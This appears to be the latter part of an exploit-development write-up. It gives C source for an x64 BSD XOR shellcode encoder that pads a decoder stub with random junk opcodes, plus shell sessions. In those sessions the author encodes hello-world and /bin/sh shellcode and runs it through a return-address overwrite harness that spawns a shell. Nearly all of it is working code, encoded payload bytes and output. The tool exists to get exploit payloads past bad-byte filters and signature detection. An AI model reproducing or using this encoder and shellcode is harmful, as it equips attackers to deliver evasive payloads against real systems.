 "\x88\x1c\x08"          /* mov    %bl,(%rax,%rcx,1)     */
 "\x48\xff\xc1"          /* inc    %rcx                  */
 "\xeb\xed"              /* jmp    4000bf <xor_loop>     */
 "\xe8\xe1\xff\xff\xff"; /* callq  4000b8 <jmp_back>     */

unsigned char useless[][5] = {
 {"\x90"},              /* nop              */
 {"\x4d\x31\xd2"},      /* xor    %r10,%r10 */
 {"\x4d\x31\xdb"},      /* xor    %r10,%r10 */
 {"\x4d\x31\xe4"},      /* xor    %r10,%r10 */
 {"\x4d\x31\xed"},      /* xor    %r10,%r10 */
 {"\x4d\x31\xf6"},      /* xor    %r10,%r10 */
 {"\x4d\x31\xff"},      /* xor    %r10,%r10 */
 {"\x49\xc1\xea\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe2\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xc1\xeb\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe3\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xc1\xec\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe4\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xc1\xed\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe5\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xc1\xee\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe6\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xc1\xef\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe7\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xff\xc2"},      /* inc    %r10      */
 {"\x49\xff\xca"},      /* dec    %r10      */
 {"\x49\xff\xc3"},      /* inc    %r10      */
 {"\x49\xff\xcb"},      /* dec    %r10      */
 {"\x49\xff\xc4"},      /* inc    %r10      */
 {"\x49\xff\xcc"},      /* dec    %r10      */
 {"\x49\xff\xc5"},      /* inc    %r10      */
 {"\x49\xff\xcd"},      /* dec    %r10      */
 {"\x49\xff\xc6"},      /* inc    %r10      */
 {"\x49\xff\xce"},      /* dec    %r10      */ 
 {"\x49\xff\xc7"},      /* inc    %r10      */
 {"\x49\xff\xcf"}};     /* dec    %r10      */

void
usage(void) {
    printf("/n/************************************************/\n");
    printf("/*                                              */\n");
    printf("/* entropy [at] phiral.net                      */\n");
    printf("/* simple x64 bsd xor encoder and obfuscator    */\n");
    printf("/*                                              */\n");
    printf("/************************************************/\n\n");    

    return;
}

int 
main(int argc, char **argv) {

    struct stat sstat;
    int i, n, fd, len, xor_with;
    int dlen, plen, olen;
    unsigned char *fbuf, *ebuf;
    unsigned char bad_bytes[256] = {0};
    unsigned char good_bytes[256] = {0};

    /* open the sc.bin file and read all the bytes */
    if (lstat("sc.bin", &sstat) < 0) {
        usage();        
        _exit(-1);
    }

    len = sstat.st_size;
    if ((fbuf = (unsigned char *)malloc(len)) == NULL) {
        perror("malloc");
        _exit(-1);
    }
    
    if ((fd = open("sc.bin", O_RDONLY)) < 0) {
        perror("open");
        _exit(-1);
    }

    if (read(fd, fbuf, len) != len) {
        perror("read");
        _exit(-1);
    }

    close(fd);

    /* try every byte xored, if its \x0 add to bad_bytes */
    for (n = 0; n < len; n++) {
        for (i = 1; i < 256; i++) {
             if ((i^*(fbuf+n)) == 0) bad_bytes[i] = i;
        }
    }  

    /* if its not a bad_byte its a good_one (ordered) */
    for (i = 1, n = 0; i < 256; i++) {
        if (bad_bytes[i] == '\0') good_bytes[n++] = i;
    }
    
    srand((unsigned)time(NULL));  
    xor_with = good_bytes[rand()%n];

    if (xor_with) {
        printf("\n[x] Choose to XOR with 0x%02x\n\n", xor_with);
        srand((unsigned)time(NULL));
        xor_with = good_bytes[rand()%n];

        /* overwrite that 5th xor byte with the xor_with byte */
        decoder[5] = xor_with;
        dlen = strlen((char *)decoder);

        /* prepend: longest useless[] instruction were using is four bytes
         * randomly prepend between one and four useless instructions so
         * sixteen bytes at maximim. 
         */
        /* insert: we can only insert two instructions in between the
         * decoder instructions before the jmp, they are also max of
         * four bytes so we allocate another eight.
         */
        if ((ebuf = (unsigned char *)malloc(16+8+dlen+len+1)) == NULL) {
            perror("malloc");
            _exit(-1);
        }
        memset(ebuf, '\x0', sizeof(ebuf));

        /* randomly prepend between one and four instructions */
        /* thirty one lines of useless[] instructions in 2d array */
        n = rand()%(4 + 1);
        for (i = 0, plen = 0; i < n; i++) {
            int k, opcode = rand()%31;
            printf("[p] Prepending useless opcodes: ");
            for (k = 0; k < strlen((char *)useless[opcode]); k++) {
                printf("\\x%02x", useless[opcode][k]);
            }
            printf("\n");
            memcpy(ebuf+plen, useless[opcode], strlen((char *)useless[opcode]));
            plen += strlen((char *)useless[opcode]);
        }
        printf("\n");

        /* only place to insert unless[] instructions is at the offsets
         * two and five
         */
        for (i = 0, olen = 0; i < dlen; i++) {
             ebuf[(i+plen+olen)] = decoder[i];             
             if (i == 2 || i == 5) {
                 int k, opcode = rand()%31;                 
                 printf("[i] Inserting useless opcodes: ");
                 for (k = 0; k < strlen((char *)useless[opcode]); k++) {      
                     printf("\\x%02x", useless[opcode][k]);
                 }
                 printf("\n");
                 memcpy(ebuf+(i+plen+olen)+1, useless[opcode], strlen((char *)useless[opcode]));
                 olen += strlen((char *)useless[opcode]);
             }  
        } 

        /* copy the xored shellcode byes in */
        for (i = 0; i < len; i++) {
            ebuf[(i+dlen+plen+olen)] = xor_with^*(fbuf+i);
        }

        printf("\n\"");
        for (i = 0; i < strlen((char *)ebuf); i++) {
            if (i > 0 && i % 15 == 0) printf("\"\n\""); 
            printf("\\x%02x", ebuf[i]);
        }
        printf("\";\n\n");

        return 0;
    } else {
        printf("\n[*] No byte found to XOR with :(\n");
        _exit(-1);
    }

    return 0;
}

[entropy@phiral.net ~/code/encoder/fids/fini/1]$ gcc -Wall encoder.c -o encoder
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ as hello_world.s -o hello_world.o
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ld hello_world.o -o hello_world
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./write-sc.sh hello_world
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./encoder 

[x] Choose to XOR with 0xc8

[p] Prepending useless opcodes: \x49\xff\xcc
[p] Prepending useless opcodes: \x49\xff\xce
[p] Prepending useless opcodes: \x49\xff\xc5

[i] Inserting useless opcodes: \x49\xff\xcc
[i] Inserting useless opcodes: \x49\xc1\xe6\x08

"\x49\xff\xcc\x49\xff\xce\x49\xff\xc5\x4d\x31\xc0\x49\xff\xcc"
"\x41\xb1\xc8\x49\xc1\xe6\x08\xeb\x1a\x58\x48\x31\xc9\x48\x31"
"\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08"
"\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x58\xa2\xcc\x90\xa2"
"\xc9\x97\x80\x71\xa7\xba\xa4\xac\xe9\xc2\x62\x62\x99\x80\x71"
"\x80\xad\xa4\xa4\xa7\xe4\xe8\x9f\x99\x80\xf9\x13\x80\xf9\x01"
"\x71\xc6\xc8\xc8\xc8\xae\x41\xd4\xc4\x80\x41\x2e\xa2\xc6\x92"
"\x05\x48\x91\x91\xa2\xc9\x90\xa2\xc8\x97\x05\x48";

[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./encoder 

[x] Choose to XOR with 0x26

[p] Prepending useless opcodes: \x49\xc1\xea\x08
[p] Prepending useless opcodes: \x49\xc1\xec\x08

[i] Inserting useless opcodes: \x49\xff\xc4
[i] Inserting useless opcodes: \x49\xff\xca

"\x49\xc1\xea\x08\x49\xc1\xec\x08\x4d\x31\xc0\x49\xff\xc4\x41"
"\xb1\x26\x49\xff\xca\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb\x8a"
"\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48\xff"
"\xc1\xeb\xed\xe8\xe1\xff\xff\xff\xb6\x4c\x22\x7e\x4c\x27\x79"
"\x6e\x9f\x49\x54\x4a\x42\x07\x2c\x8c\x8c\x77\x6e\x9f\x6e\x43"
"\x4a\x4a\x49\x0a\x06\x71\x77\x6e\x17\xfd\x6e\x17\xef\x9f\x28"
"\x26\x26\x26\x40\xaf\x3a\x2a\x6e\xaf\xc0\x4c\x28\x7c\xeb\xa6"
"\x7f\x7f\x4c\x27\x7e\x4c\x26\x79\xeb\xa6";

[entropy@phiral.net ~/code/encoder/fids/fini/1]$ cat sc.c
unsigned char sc[] = 
"\x49\xc1\xea\x08\x49\xc1\xec\x08\x4d\x31\xc0\x49\xff\xc4\x41"
"\xb1\x26\x49\xff\xca\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb\x8a"
"\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48\xff"
"\xc1\xeb\xed\xe8\xe1\xff\xff\xff\xb6\x4c\x22\x7e\x4c\x27\x79"
"\x6e\x9f\x49\x54\x4a\x42\x07\x2c\x8c\x8c\x77\x6e\x9f\x6e\x43"
"\x4a\x4a\x49\x0a\x06\x71\x77\x6e\x17\xfd\x6e\x17\xef\x9f\x28"
"\x26\x26\x26\x40\xaf\x3a\x2a\x6e\xaf\xc0\x4c\x28\x7c\xeb\xa6"
"\x7f\x7f\x4c\x27\x7e\x4c\x26\x79\xeb\xa6";

void main(void) {
   int *ret;
   ret = (int *)&ret + 4;
   (*ret) = (int)sc;

}

[entropy@phiral.net ~/code/encoder/fids/fini/1]$ gcc sc.c -o sc
sc.c: In function 'main':
sc.c:14: warning: cast from pointer to integer of different size
sc.c:11: warning: return type of 'main' is not 'int'
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./sc
Hello, World!

[entropy@phiral.net ~/code/encoder/fids/fini/1]$ as shell.s -o shell.o 
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ld shell.o -o shell 
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./write-sc.sh shell
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./encoder 

[x] Choose to XOR with 0x43


[i] Inserting useless opcodes: \x49\xc1\xe4\x08
[i] Inserting useless opcodes: \x49\xff\xcb

"\x4d\x31\xc0\x49\xc1\xe4\x08\x41\xb1\x43\x49\xff\xcb\xeb\x1a"
"\x58\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10"
"\x44\x30\xcb\x88\x1c\x08\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff"
"\xff\x29\x3d\x1b\x0b\x72\xbc\x0b\x72\xb5\x8e\xc3\x29\x78\x1b"
"\x0b\x72\x8a\x12\x0b\xca\xa5\x0b\xfa\x6c\x21\x2a\x2d\x6c\x30"
"\x2b\xe9\x12\x0b\xca\xa4\x0b\x72\x98\x0b\x72\x8a\xf2\x44\xcb"
"\x5f\x4f\x0b\x72\x91\x8e\xc3";

[entropy@phiral.net ~/code/encoder/fids/fini/1]$ cat sc.c
unsigned char sc[] = 
"\x4d\x31\xc0\x49\xc1\xe4\x08\x41\xb1\x43\x49\xff\xcb\xeb\x1a"
"\x58\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10"
"\x44\x30\xcb\x88\x1c\x08\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff"
"\xff\x29\x3d\x1b\x0b\x72\xbc\x0b\x72\xb5\x8e\xc3\x29\x78\x1b"
"\x0b\x72\x8a\x12\x0b\xca\xa5\x0b\xfa\x6c\x21\x2a\x2d\x6c\x30"
"\x2b\xe9\x12\x0b\xca\xa4\x0b\x72\x98\x0b\x72\x8a\xf2\x44\xcb"
"\x5f\x4f\x0b\x72\x91\x8e\xc3";

void main(void) {
   int *ret;
   ret = (int *)&ret + 4;
   (*ret) = (int)sc;

}

[entropy@phiral.net ~/code/encoder/fids/fini/1]$ gcc sc.c -o sc
sc.c: In function 'main':
sc.c:13: warning: cast from pointer to integer of different size
sc.c:10: warning: return type of 'main' is not 'int'
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./sc
$ exit

[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./encoder 

[x] Choose to XOR with 0x22

[p] Prepending useless opcodes: \x49\xc1\xe5\x08
[p] Prepending useless opcodes: \x49\xff\xcb
[p] Prepending useless opcodes: \x49\xc1\xe5\x08
[p] Prepending useless opcodes: \x49\xff\xcc

[i] Inserting useless opcodes: \x49\xc1\xec\x08
[i] Inserting useless opcodes: \x90

"\x49\xc1\xe5\x08\x49\xff\xcb\x49\xc1\xe5\x08\x49\xff\xcc\x4d"
"\x31\xc0\x49\xc1\xec\x08\x41\xb1\x22\x90\xeb\x1a\x58\x48\x31"
"\xc9\x48\x31\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb"
"\x88\x1c\x08\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x48\x5c"
"\x7a\x6a\x13\xdd\x6a\x13\xd4\xef\xa2\x48\x19\x7a\x6a\x13\xeb"
"\x73\x6a\xab\xc4\x6a\x9b\x0d\x40\x4b\x4c\x0d\x51\x4a\x88\x73"
"\x6a\xab\xc5\x6a\x13\xf9\x6a\x13\xeb\x93\x25\xaa\x3e\x2e\x6a"
"\x13\xf0\xef\xa2";

[entropy@phiral.net ~/code/encoder/fids/fini/1]$ cat sc.c
unsigned char sc[] = 
"\x49\xc1\xe5\x08\x49\xff\xcb\x49\xc1\xe5\x08\x49\xff\xcc\x4d"
"\x31\xc0\x49\xc1\xec\x08\x41\xb1\x22\x90\xeb\x1a\x58\x48\x31"
"\xc9\x48\x31\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb"
"\x88\x1c\x08\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x48\x5c"
"\x7a\x6a\x13\xdd\x6a\x13\xd4\xef\xa2\x48\x19\x7a\x6a\x13\xeb"
"\x73\x6a\xab\xc4\x6a\x9b\x0d\x40\x4b\x4c\x0d\x51\x4a\x88\x73"
"\x6a\xab\xc5\x6a\x13\xf9\x6a\x13\xeb\x93\x25\xaa\x3e\x2e\x6a"
"\x13\xf0\xef\xa2";

void main(void) {
   int *ret;
   ret = (int *)&ret + 4;
   (*ret) = (int)sc;

}

[entropy@phiral.net ~/code/encoder/fids/fini/1]$ gcc sc.c -o sc
sc.c: In function 'main':
sc.c:14: warning: cast from pointer to integer of different size
sc.c:11: warning: return type of 'main' is not 'int'
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./sc
$ exit